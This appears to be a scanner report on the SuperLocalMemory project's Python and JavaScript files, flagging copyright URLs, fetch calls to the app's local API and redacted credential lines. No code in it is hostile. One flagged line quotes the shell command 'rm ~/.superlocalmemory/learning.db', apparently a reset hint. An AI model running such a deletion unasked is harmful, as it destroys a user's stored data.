src/superlocalmemory/storage/write_receipts_erasure.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/summaries/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/summaries/base.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/summaries/daily_reflection.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 305
api_base = "http://localhost:11434" - Network accessline 324
"options": {"num_predict": 300}, }).encode() req = urllib.request.Request( - Network accessline 325
}).encode() req = urllib.request.Request( f"{api_base}/api/generate", - Network accessline 326
req = urllib.request.Request(
src/superlocalmemory/summaries/non_answer.py
- Executable scriptline 1
Executable file
src/superlocalmemory/summaries/project_work_log.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 433
api_base = "http://localhost:11434" - Network accessline 461
"options": {"num_predict": 300}, }).encode() req = urllib.request.Request( - Network accessline 462
}).encode() req = urllib.request.Request( f"{api_base}/api/generate", - Network accessline 463
req = urllib.request.Request(
src/superlocalmemory/summaries/session_summary.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 262
api_base = "http://localhost:11434" - Network accessline 281
"options": {"num_predict": 200}, }).encode() req = urllib.request.Request( - Network accessline 282
}).encode() req = urllib.request.Request( f"{api_base}/api/generate", - Network accessline 283
req = urllib.request.Request(
src/superlocalmemory/summaries/sessions.py
src/superlocalmemory/tagging/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/tagging/extractors.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/trust/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/trust/gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted]
src/superlocalmemory/trust/provenance.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/trust/scorer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/trust/signals.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/ui/assets/slm-icon-white.svg
src/superlocalmemory/ui/assets/slm-icon.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" role="img" aria-labelledby="title desc">
src/superlocalmemory/ui/favicon.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" role="img" aria-labelledby="title desc">
src/superlocalmemory/ui/index.html
- Network accessline 58
<i class="bi bi-lock-fill" aria-hidden="true"></i> LOCAL-FIRST </span> <a class="star-cta" id="star-cta" href="https://github.com/qualixar/superlocalmemory" target="_blank" rel="noopener noreferrer" title="If SuperLocalMemory he - Network accessline 59
</span> <a class="star-cta" id="star-cta" href="https://github.com/qualixar/superlocalmemory" target="_blank" rel="noopener noreferrer" title="If SuperLocalMemory helps you, a GitHub star helps other developers find it"> <span - Network accessline 60
<a class="star-cta" id="star-cta" href="https://github.com/qualixar/superlocalmemory" target="_blank" rel="noopener noreferrer" title="If SuperLocalMemory helps you, a GitHub star helps other developers find it"> - Network accessline 1164
<div class="col-md-8"> <label class="form-label small">API Endpoint (advanced)</label> <input type="text" id="settings-endpoint" class="form-control form-control-sm" pl - Network accessline 1165
<label class="form-label small">API Endpoint (advanced)</label> <input type="text" id="settings-endpoint" class="form-control form-control-sm" placeholder="https://..."> </ - Network accessline 1166
<input type="text" id="settings-endpoint" class="form-control form-control-sm" placeholder="https://..."> - Network accessline 1204
<div class="col-md-8"> <label class="form-label small">Embedding Endpoint</label> <input type="text" id="settings-emb-endpoint" class="form-control form-control-sm" pla - Network accessline 1205
<label class="form-label small">Embedding Endpoint</label> <input type="text" id="settings-emb-endpoint" class="form-control form-control-sm" placeholder="http://localhost:8045/v1/embeddings"> - Network accessline 1206
<input type="text" id="settings-emb-endpoint" class="form-control form-control-sm" placeholder="http://localhost:8045/v1/embeddings"> - Access to secretsline 1379
[Credential-related source omitted] - Network accessline 1495
<strong>Point agents at the proxy:</strong><br> <code>slm wrap claude</code> — Claude Code<br> <code>--openai-api-base http://localhost:8765/v1</code> — Aider<br> - Network accessline 1496
<code>slm wrap claude</code> — Claude Code<br> <code>--openai-api-base http://localhost:8765/v1</code> — Aider<br> <code>OPENAI_BASE_URL=http://localhost:8765/v1</code> - Network accessline 1497
<code>--openai-api-base http://localhost:8765/v1</code> — Aider<br> - Network accessline 1498
<code>OPENAI_BASE_URL=http://localhost:8765/v1</code> — OpenAI SDK
src/superlocalmemory/ui/js/agents.js
- Executable scriptline 1
Executable file - Network accessline 5
async function loadAgents() { try { var response = await fetch('/api/agents'); - Network accessline 6
try { var response = await fetch('/api/agents'); var data = await response.json(); - Network accessline 7
var response = await fetch('/api/agents'); - Network accessline 123
async function loadTrustOverview() { try { var response = await fetch('/api/trust/stats'); - Network accessline 124
try { var response = await fetch('/api/trust/stats'); var stats = await response.json(); - Network accessline 125
var response = await fetch('/api/trust/stats');
src/superlocalmemory/ui/js/answer-check.js
- Executable scriptline 1
Executable file - Network accessline 97
function getStatus() { return fetch(API, { credentials: 'same-origin' }).then(function (r) { - Network accessline 98
return fetch(API, { credentials: 'same-origin' }).then(function (r) { - Network accessline 101
} function send(path, method, body) { return fetch(API + path, { method: method, credentials: 'same-origin', - Network accessline 102
function send(path, method, body) { return fetch(API + path, { method: method, credentials: 'same-origin', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body || {}) }) - Network accessline 103
return fetch(API + path, { method: method, credentials: 'same-origin', - Network accessline 694
if (!container) return; mountEl = container; fetch('/api/rbac/whoami', { credentials: 'same-origin' }) - Network accessline 695
mountEl = container; fetch('/api/rbac/whoami', { credentials: 'same-origin' }) .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 696
fetch('/api/rbac/whoami', { credentials: 'same-origin' })
src/superlocalmemory/ui/js/auto-settings.js
- Executable scriptline 1
Executable file - Network accessline 4
async function loadAutoSettings() { try { var captureResp = await fetch('/api/v3/auto-capture/config'); - Network accessline 5
try { var captureResp = await fetch('/api/v3/auto-capture/config'); var recallResp = await fetch('/api/v3/auto-recall/config'); - Network accessline 6
var captureResp = await fetch('/api/v3/auto-capture/config'); - Network accessline 7
var recallResp = await fetch('/api/v3/auto-recall/config'); - Network accessline 30
async function loadScopeSettings() { try { var response = await fetch('/api/v3/scope/config'); - Network accessline 31
try { var response = await fetch('/api/v3/scope/config'); if (!response.ok) throw new Error('HTTP ' + response.status); - Network accessline 32
var response = await fetch('/api/v3/scope/config'); - Network accessline 54
if (status) status.textContent = 'Applying to daemon...'; try { var response = await fetch('/api/v3/scope/config', { - Network accessline 55
try { var response = await fetch('/api/v3/scope/config', { method: 'PUT', - Network accessline 56
var response = await fetch('/api/v3/scope/config', { - Network accessline 78
capture_bugs: document.getElementById('auto-capture-bugs')?.checked }; fetch('/api/v3/auto-capture/config', { - Network accessline 79
}; fetch('/api/v3/auto-capture/config', { method: 'PUT', - Network accessline 80
fetch('/api/v3/auto-capture/config', { - Network accessline 92
on_session_start: document.getElementById('auto-recall-session')?.checked }; fetch('/api/v3/auto-recall/config', { - Network accessline 93
}; fetch('/api/v3/auto-recall/config', { method: 'PUT', - Network accessline 94
fetch('/api/v3/auto-recall/config', { - Network accessline 120
name: 'Ollama', needsKey: false, endpoint: 'http://localhost:11434', - Network accessline 121
needsKey: false, endpoint: 'http://localhost:11434', endpointEditable: true, - Network accessline 122
endpoint: 'http://localhost:11434', - Network accessline 127
name: 'OpenRouter', needsKey: true, endpoint: 'https://openrouter.ai/api/v1', - Network accessline 128
needsKey: true, endpoint: 'https://openrouter.ai/api/v1', endpointEditable: false, - Network accessline 129
endpoint: 'https://openrouter.ai/api/v1', - Network accessline 133
name: 'OpenAI', needsKey: true, endpoint: 'https://api.openai.com/v1', - Network accessline 134
needsKey: true, endpoint: 'https://api.openai.com/v1', endpointEditable: true, // editable for Azure OpenAI - Network accessline 135
endpoint: 'https://api.openai.com/v1', - Network accessline 139
name: 'Anthropic', needsKey: true, endpoint: 'https://api.anthropic.com', - Network accessline 140
needsKey: true, endpoint: 'https://api.anthropic.com', endpointEditable: false, - Network accessline 141
endpoint: 'https://api.anthropic.com', - Network accessline 173
async function loadModeSettings() { try { var resp = await fetch('/api/v3/mode'); - Network accessline 174
try { var resp = await fetch('/api/v3/mode'); if (!resp.ok) return; - Network accessline 175
var resp = await fetch('/api/v3/mode'); - Network accessline 306
if (provider === 'ollama') { if (modelHint) modelHint.textContent = 'Checking Ollama...'; fetch('/api/v3/ollama/status').then(function(r) { return r.json(); }).then(function(data) { - Network accessline 307
if (modelHint) modelHint.textContent = 'Checking Ollama...'; fetch('/api/v3/ollama/status').then(function(r) { return r.json(); }).then(function(data) { if (modelSelect) { - Network accessline 308
fetch('/api/v3/ollama/status').then(function(r) { return r.json(); }).then(function(data) { - Network accessline 404
[Credential-related source omitted] - Access to secretsline 404
[Credential-related source omitted] - Network accessline 405
if (endpoint) { testBody.base_url = endpoint; testBody.endpoint = endpoint; } var resp = await fetch('/api/v3/provider/test', { method: 'POST', - Network accessline 406
var resp = await fetch('/api/v3/provider/test', { - Network accessline 443
[Credential-related source omitted] - Access to secretsline 443
[Credential-related source omitted] - Network accessline 444
if (endpoint) { payload.base_url = endpoint; payload.endpoint = endpoint; } var modeResp = await fetch('/api/v3/mode/set', { method: 'POST', - Network accessline 445
var modeResp = await fetch('/api/v3/mode/set', { - Network accessline 487
async function loadEmbeddingSettings() { try { var resp = await fetch('/api/v3/embedding/config'); - Network accessline 488
try { var resp = await fetch('/api/v3/embedding/config'); if (!resp.ok) { - Network accessline 489
var resp = await fetch('/api/v3/embedding/config'); - Network accessline 581
try { var resp = await fetch('/api/v3/embedding/test', { - Network accessline 582
var resp = await fetch('/api/v3/embedding/test', { - Access to secretsline 585
[Credential-related source omitted]
src/superlocalmemory/ui/js/brain.js
- Executable scriptline 1
Executable file - Network accessline 77
async function fetchTokenFromServer() { try { const resp = await fetch('/internal/token', { - Network accessline 78
try { const resp = await fetch('/internal/token', { credentials: 'same-origin', - Network accessline 79
const resp = await fetch('/internal/token', { - Network accessline 107
const headers = {}; if (token) headers['X-Install-Token'] = token; let resp = await fetch('/api/v3/brain', { - Network accessline 108
if (token) headers['X-Install-Token'] = token; let resp = await fetch('/api/v3/brain', { headers: headers, - Network accessline 109
let resp = await fetch('/api/v3/brain', { - Network accessline 114
[Credential-related source omitted] - Network accessline 115
[Credential-related source omitted] - Network accessline 116
resp = await fetch('/api/v3/brain', { - Network accessline 126
async function fetchBehavioralStatus() { try { const resp = await fetch('/api/behavioral/status', { - Network accessline 127
try { const resp = await fetch('/api/behavioral/status', { credentials: 'same-origin', - Network accessline 128
const resp = await fetch('/api/behavioral/status', { - Network accessline 138
async function postReportOutcome(body) { const resp = await fetch('/api/behavioral/report-outcome', { - Network accessline 139
const resp = await fetch('/api/behavioral/report-outcome', { - Network accessline 149
async function postResetLearning() { const resp = await fetch('/api/learning/reset', { - Network accessline 150
const resp = await fetch('/api/learning/reset', { - Network accessline 193
async function postRetrain(includeSynthetic) { const resp = await fetch('/api/learning/retrain', { - Network accessline 194
const resp = await fetch('/api/learning/retrain', { - Network accessline 204
async function postMigrateLegacy() { const resp = await fetch('/api/learning/migrate-legacy', { - Network accessline 205
const resp = await fetch('/api/learning/migrate-legacy', { - Network accessline 639
del.textContent = ''; try { const resp = await fetch('/api/patterns/delete', { - Network accessline 640
try { const resp = await fetch('/api/patterns/delete', { method: 'DELETE', - Network accessline 641
const resp = await fetch('/api/patterns/delete', { - Network accessline 896
const SVG_NS = 'http://www.w3.org/2000/svg';
src/superlocalmemory/ui/js/clusters.js
- Network accessline 1
// SuperLocalMemory V3 - Clusters View // Part of Qualixar | https://superlocalmemory.com - Executable scriptline 1
Executable file - Network accessline 2
// Part of Qualixar | https://superlocalmemory.com - Network accessline 120
} try { var response = await fetch('/api/dashboard/clusters?limit=' + _CLUSTERS_STATE.pageSize + '&offset=' + (_CLUSTERS_STATE.page * _CLUSTERS_STATE.pageSize) + '&sort=' + encodeURIComponent(_CLUSTERS_STATE.sort)); - Network accessline 121
try { var response = await fetch('/api/dashboard/clusters?limit=' + _CLUSTERS_STATE.pageSize + '&offset=' + (_CLUSTERS_STATE.page * _CLUSTERS_STATE.pageSize) + '&sort=' + encodeURIComponent(_CLUSTERS_STATE.sort)); if (!respo - Network accessline 122
var response = await fetch('/api/dashboard/clusters?limit=' + _CLUSTERS_STATE.pageSize + '&offset=' + (_CLUSTERS_STATE.page * _CLUSTERS_STATE.pageSize) + '&sort=' + encodeURIComponent(_CLUSTERS_STATE.sort)); - Network accessline 229
async function loadClusterMembers(clusterId, container) { try { var response = await fetch('/api/clusters/' + clusterId + '?limit=10'); - Network accessline 230
try { var response = await fetch('/api/clusters/' + clusterId + '?limit=10'); var data = await response.json(); - Network accessline 231
var response = await fetch('/api/clusters/' + clusterId + '?limit=10');
src/superlocalmemory/ui/js/compliance.js
- Executable scriptline 1
Executable file - Network accessline 12
try { var statusResp = await fetch('/api/compliance/status'); - Network accessline 13
var statusResp = await fetch('/api/compliance/status'); - Network accessline 27
var auditUrl = '/api/compliance/audit?limit=100'; if (filterValue) auditUrl += '&event_type=' + encodeURIComponent(filterValue); var auditResp = await fetch(auditUrl); - Network accessline 28
if (filterValue) auditUrl += '&event_type=' + encodeURIComponent(filterValue); var auditResp = await fetch(auditUrl); var auditData = auditResp.ok ? await auditResp.json() : null; - Network accessline 29
var auditResp = await fetch(auditUrl); - Network accessline 142
delBtn.disabled = true; try { var r = await fetch( - Network accessline 143
try { var r = await fetch( '/api/compliance/retention-policy?name=' + encodeURIComponent(policyName), - Network accessline 144
var r = await fetch( - Network accessline 286
try { var response = await fetch('/api/compliance/retention-policy', { - Network accessline 287
var response = await fetch('/api/compliance/retention-policy', {
src/superlocalmemory/ui/js/core.js
- Executable scriptline 1
Executable file - Network accessline 7
// v3.4.23 — slmFetch(): fetch with 15s abort timeout // ---------------------------------------------------------------------------- // Bare fetch() never resolves when the daemon dies mid-request (socket kept - Network accessline 8
// ---------------------------------------------------------------------------- // Bare fetch() never resolves when the daemon dies mid-request (socket kept // open, Promise pending). That leaves dashboard spinners running forever and - Network accessline 9
// Bare fetch() never resolves when the daemon dies mid-request (socket kept - Network accessline 147
// Global fetch patch: apply the abort timeout to every same-origin request // automatically. 17 UI modules call bare fetch() — patching here avoids - Network accessline 148
// automatically. 17 UI modules call bare fetch() — patching here avoids - Network accessline 274
async function slmFetch(input, init) { return fetch(input, init || {}); - Network accessline 275
return fetch(input, init || {}); - Network accessline 298
var response; try { response = await fetch(url, { - Network accessline 299
try { response = await fetch(url, { credentials: 'same-origin', - Network accessline 300
response = await fetch(url, {
src/superlocalmemory/ui/js/dashboard.js
- Network accessline 1
// SuperLocalMemory V3 — Dashboard // Part of Qualixar | https://superlocalmemory.com - Executable scriptline 1
Executable file - Network accessline 2
// Part of Qualixar | https://superlocalmemory.com - Network accessline 71
async function loadDashboardStats() { try { var r = await fetch('/api/stats', { credentials: 'same-origin' }); - Network accessline 72
try { var r = await fetch('/api/stats', { credentials: 'same-origin' }); if (!r.ok) { markStatsUnavailable(); return false; } - Network accessline 73
var r = await fetch('/api/stats', { credentials: 'same-origin' }); - Network accessline 151
var tzOffsetMinutes = -new Date().getTimezoneOffset(); var response = await fetch('/api/timeline?days=365&group_by=day&include_categories=false' - Network accessline 152
var response = await fetch('/api/timeline?days=365&group_by=day&include_categories=false' - Network accessline 219
try { var r = await fetch('/api/memories?limit=6', { credentials: 'same-origin' }); - Network accessline 220
var r = await fetch('/api/memories?limit=6', { credentials: 'same-origin' }); - Network accessline 407
function loadAnswerCheckSummary() { fetch('/api/v3/answer-check', { credentials: 'same-origin' }).then(function (r) { - Network accessline 408
fetch('/api/v3/answer-check', { credentials: 'same-origin' }).then(function (r) { - Network accessline 436
loadAnswerCheckSummary(); try { var response = await fetch('/api/v3/dashboard', { credentials: 'same-origin' }); - Network accessline 437
try { var response = await fetch('/api/v3/dashboard', { credentials: 'same-origin' }); if (!response.ok) { - Network accessline 438
var response = await fetch('/api/v3/dashboard', { credentials: 'same-origin' }); - Network accessline 511
if (e.target.classList.contains('mode-btn')) { var mode = e.target.dataset.mode; fetch('/api/v3/mode', { - Network accessline 512
var mode = e.target.dataset.mode; fetch('/api/v3/mode', { method: 'PUT', - Network accessline 513
fetch('/api/v3/mode', { - Network accessline 529
return async function () { if (_cache) return _cache; var response = await fetch('/internal/token', {credentials: 'same-origin'}); - Network accessline 530
if (_cache) return _cache; var response = await fetch('/internal/token', {credentials: 'same-origin'}); if (!response.ok) return ''; - Network accessline 531
var response = await fetch('/internal/token', {credentials: 'same-origin'}); - Network accessline 547
[Credential-related source omitted] - Network accessline 548
if (!token) throw new Error('local write credential unavailable'); var r = await fetch('/remember', { method: 'POST', credentials: 'same-origin', - Network accessline 549
var r = await fetch('/remember', { - Network accessline 575
if (div) div.innerHTML = '<span style="color:var(--fg-2);font-size:12px">Searching…</span>'; btn.disabled = true; fetch('/api/search', { - Network accessline 576
btn.disabled = true; fetch('/api/search', { method: 'POST', credentials: 'same-origin', - Network accessline 577
fetch('/api/search', {
src/superlocalmemory/ui/js/event-delegation.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/events.js
- Executable scriptline 1
Executable file - Network accessline 165
async function loadEventStats() { try { var response = await fetch('/api/events/stats'); - Network accessline 166
try { var response = await fetch('/api/events/stats'); var stats = await response.json(); - Network accessline 167
var response = await fetch('/api/events/stats');
src/superlocalmemory/ui/js/fact-detail.js
src/superlocalmemory/ui/js/feedback.js
- Executable scriptline 1
Executable file - Network accessline 32
fetch('/api/feedback', { - Network accessline 77
fetch('/api/feedback/dwell', { - Network accessline 186
*/ function refreshFeedbackStats() { fetch('/api/feedback/stats') - Network accessline 187
function refreshFeedbackStats() { fetch('/api/feedback/stats') .then(function(r) { return r.json(); }) - Network accessline 188
fetch('/api/feedback/stats') - Dangerous shell operationline 308
'rm ~/.superlocalmemory/learning.db'; - Network accessline 324
fetch('/api/learning/reset', {method: 'POST'})
src/superlocalmemory/ui/js/graph-event-bus.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/graph-filters.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/graph-ui.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/ide-status.js
- Executable scriptline 1
Executable file - Network accessline 5
var CID = 'ide-list-body'; try { var response = await fetch('/api/v3/ide/status'); - Network accessline 6
try { var response = await fetch('/api/v3/ide/status'); if (!response.ok) { - Network accessline 7
var response = await fetch('/api/v3/ide/status'); - Network accessline 77
var ideId = btn.dataset.ide; fetch('/api/v3/ide/connect', { - Network accessline 78
fetch('/api/v3/ide/connect', { - Network accessline 94
if (connectAllBtn) { connectAllBtn.addEventListener('click', function() { fetch('/api/v3/ide/connect', { - Network accessline 95
connectAllBtn.addEventListener('click', function() { fetch('/api/v3/ide/connect', { method: 'POST', - Network accessline 96
fetch('/api/v3/ide/connect', {
src/superlocalmemory/ui/js/init.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/knowledge-graph.js
- Executable scriptline 1
Executable file - Network accessline 620
fetch('/api/graph?max_nodes=' + fetchLimit + '&min_importance=' + minImportance) - Network accessline 773
function loadCommunities() { fetch('/api/v3/graph/communities') - Network accessline 774
fetch('/api/v3/graph/communities') - Network accessline 812
fetch('/api/v3/graph/run-communities', { method: 'POST' })
src/superlocalmemory/ui/js/lifecycle.js
- Executable scriptline 1
Executable file - Network accessline 12
var tierResponse = await fetch('/api/tiers/stats'); - Network accessline 15
var response = await fetch('/api/lifecycle/status'); - Network accessline 237
async function compactDryRun() { try { var response = await fetch('/api/lifecycle/compact', { - Network accessline 238
try { var response = await fetch('/api/lifecycle/compact', { method: 'POST', - Network accessline 239
var response = await fetch('/api/lifecycle/compact', { - Network accessline 308
if (!confirmed) return; try { var response = await fetch('/api/lifecycle/compact', { - Network accessline 309
try { var response = await fetch('/api/lifecycle/compact', { method: 'POST', - Network accessline 310
var response = await fetch('/api/lifecycle/compact', { - Network accessline 340
showToast('Evaluating tiers...'); try { var response = await fetch('/api/tiers/evaluate', { method: 'POST' }); - Network accessline 341
try { var response = await fetch('/api/tiers/evaluate', { method: 'POST' }); var data = await response.json(); - Network accessline 342
var response = await fetch('/api/tiers/evaluate', { method: 'POST' }); - Network accessline 356
async function pinFact(factId, reason) { try { var response = await fetch('/api/tiers/pin', { - Network accessline 357
try { var response = await fetch('/api/tiers/pin', { method: 'POST', - Network accessline 358
var response = await fetch('/api/tiers/pin', { - Network accessline 373
async function unpinFact(factId) { try { var response = await fetch('/api/tiers/unpin', { - Network accessline 374
try { var response = await fetch('/api/tiers/unpin', { method: 'POST', - Network accessline 375
var response = await fetch('/api/tiers/unpin', {
src/superlocalmemory/ui/js/math-health.js
- Executable scriptline 1
Executable file - Network accessline 5
var CID = 'math-health-cards'; try { var response = await fetch('/api/v3/math/health'); - Network accessline 6
try { var response = await fetch('/api/v3/math/health'); if (!response.ok) { - Network accessline 7
var response = await fetch('/api/v3/math/health');
src/superlocalmemory/ui/js/memories.js
- Executable scriptline 1
Executable file - Network accessline 46
showLoading('memories-list', 'Loading memories...'); try { var response = await fetch(url); - Network accessline 47
try { var response = await fetch(url); if (!response.ok) throw new Error('HTTP ' + response.status); - Network accessline 48
var response = await fetch(url); - Network accessline 198
} btn.textContent = '…'; fetch('/api/behavioral/report-outcome', { - Network accessline 199
btn.textContent = '…'; fetch('/api/behavioral/report-outcome', { method: 'POST', - Network accessline 200
fetch('/api/behavioral/report-outcome', { - Network accessline 325
btn.innerHTML = '⌛'; try { var resp = await fetch('/api/memories/' + encodeURIComponent(memoryId) + '/facts'); - Network accessline 326
try { var resp = await fetch('/api/memories/' + encodeURIComponent(memoryId) + '/facts'); var data = await resp.json(); - Network accessline 327
var resp = await fetch('/api/memories/' + encodeURIComponent(memoryId) + '/facts');
src/superlocalmemory/ui/js/memory-chat.js
src/superlocalmemory/ui/js/memory-timeline.js
src/superlocalmemory/ui/js/modal.js
- Executable scriptline 1
Executable file - Network accessline 76
if (memoryId) { fetch('/api/memories/' + encodeURIComponent(memoryId) + '/detail') - Network accessline 77
fetch('/api/memories/' + encodeURIComponent(memoryId) + '/detail') - Network accessline 125
viewBtn.disabled = true; viewBtn.textContent = 'Loading...'; fetch('/api/memories/' + encodeURIComponent(mid) + '/facts') - Network accessline 126
viewBtn.textContent = 'Loading...'; fetch('/api/memories/' + encodeURIComponent(mid) + '/facts') .then(function(r) { return r.json(); }) - Network accessline 127
fetch('/api/memories/' + encodeURIComponent(mid) + '/facts') - Network accessline 236
var newContent = textarea.value.trim(); if (!newContent) return; fetch('/api/memories/' + encodeURIComponent(mem.id), { - Network accessline 237
if (!newContent) return; fetch('/api/memories/' + encodeURIComponent(mem.id), { method: 'PATCH', - Network accessline 238
fetch('/api/memories/' + encodeURIComponent(mem.id), { - Network accessline 272
if (!confirmed) return; forgetBtn.disabled = true; fetch('/api/memories/' + encodeURIComponent(mem.id) + '/forget', - Network accessline 273
forgetBtn.disabled = true; fetch('/api/memories/' + encodeURIComponent(mem.id) + '/forget', {method: 'POST'}) - Network accessline 274
fetch('/api/memories/' + encodeURIComponent(mem.id) + '/forget', - Network accessline 305
if (!target || !target.trim()) return; mergeBtn.disabled = true; fetch('/api/memories/' + encodeURIComponent(mem.id) + '/merge', { - Network accessline 306
mergeBtn.disabled = true; fetch('/api/memories/' + encodeURIComponent(mem.id) + '/merge', { method: 'POST', - Network accessline 307
fetch('/api/memories/' + encodeURIComponent(mem.id) + '/merge', { - Network accessline 381
saveBtn.disabled = true; saveBtn.textContent = 'Saving…'; fetch('/api/memories/' + encodeURIComponent(mem.fact_id || mem.id) + '/scope', { - Network accessline 382
saveBtn.textContent = 'Saving…'; fetch('/api/memories/' + encodeURIComponent(mem.fact_id || mem.id) + '/scope', { method: 'PATCH', - Network accessline 383
fetch('/api/memories/' + encodeURIComponent(mem.fact_id || mem.id) + '/scope', { - Network accessline 417
pinBtn.addEventListener('click', function() { pinBtn.disabled = true; fetch('/api/tiers/pin', { - Network accessline 418
pinBtn.disabled = true; fetch('/api/tiers/pin', { method: 'POST', - Network accessline 419
fetch('/api/tiers/pin', { - Network accessline 441
unpinBtn.addEventListener('click', function() { unpinBtn.disabled = true; fetch('/api/tiers/unpin', { - Network accessline 442
unpinBtn.disabled = true; fetch('/api/tiers/unpin', { method: 'POST', - Network accessline 443
fetch('/api/tiers/unpin', { - Network accessline 471
}); if (!confirmed) return; fetch('/api/memories/' + encodeURIComponent(mem.id), {method: 'DELETE'}) - Network accessline 472
if (!confirmed) return; fetch('/api/memories/' + encodeURIComponent(mem.id), {method: 'DELETE'}) .then(function(r) { return r.json(); }) - Network accessline 473
fetch('/api/memories/' + encodeURIComponent(mem.id), {method: 'DELETE'})
src/superlocalmemory/ui/js/ng-entities.js
- Executable scriptline 1
Executable file - Network accessline 16
function fetchEntityList(offset) { offset = offset || 0; fetch('/api/entity/list?limit=' + PAGE_SIZE + '&offset=' + offset) - Network accessline 17
offset = offset || 0; fetch('/api/entity/list?limit=' + PAGE_SIZE + '&offset=' + offset) .then(function(r) { - Network accessline 18
fetch('/api/entity/list?limit=' + PAGE_SIZE + '&offset=' + offset) - Network accessline 154
fetch('/api/entity/' + encodeURIComponent(entityName)) - Network accessline 215
window.recompileEntity = function(entityName) { fetch('/api/entity/' + encodeURIComponent(entityName) + '/recompile', { method: 'POST' }) - Network accessline 216
fetch('/api/entity/' + encodeURIComponent(entityName) + '/recompile', { method: 'POST' })
src/superlocalmemory/ui/js/ng-health.js
- Executable scriptline 1
Executable file - Network accessline 20
function fetchHealth() { Promise.all([ fetch('/api/v3/health/processes').then(function(r) { return r.json(); }).catch(function() { return null; }), - Network accessline 21
Promise.all([ fetch('/api/v3/health/processes').then(function(r) { return r.json(); }).catch(function() { return null; }), fetch('/api/v3/consolidation/status').then(function(r) { return r.json(); }).catch(function() { return nu - Network accessline 22
fetch('/api/v3/health/processes').then(function(r) { return r.json(); }).catch(function() { return null; }), - Network accessline 23
fetch('/api/v3/consolidation/status').then(function(r) { return r.json(); }).catch(function() { return null; }), - Network accessline 24
fetch('/api/stats').then(function(r) { return r.json(); }).catch(function() { return null; })
src/superlocalmemory/ui/js/ng-ingestion.js
- Executable scriptline 1
Executable file - Network accessline 42
function fetchAdapters() { fetch('/api/adapters') - Network accessline 43
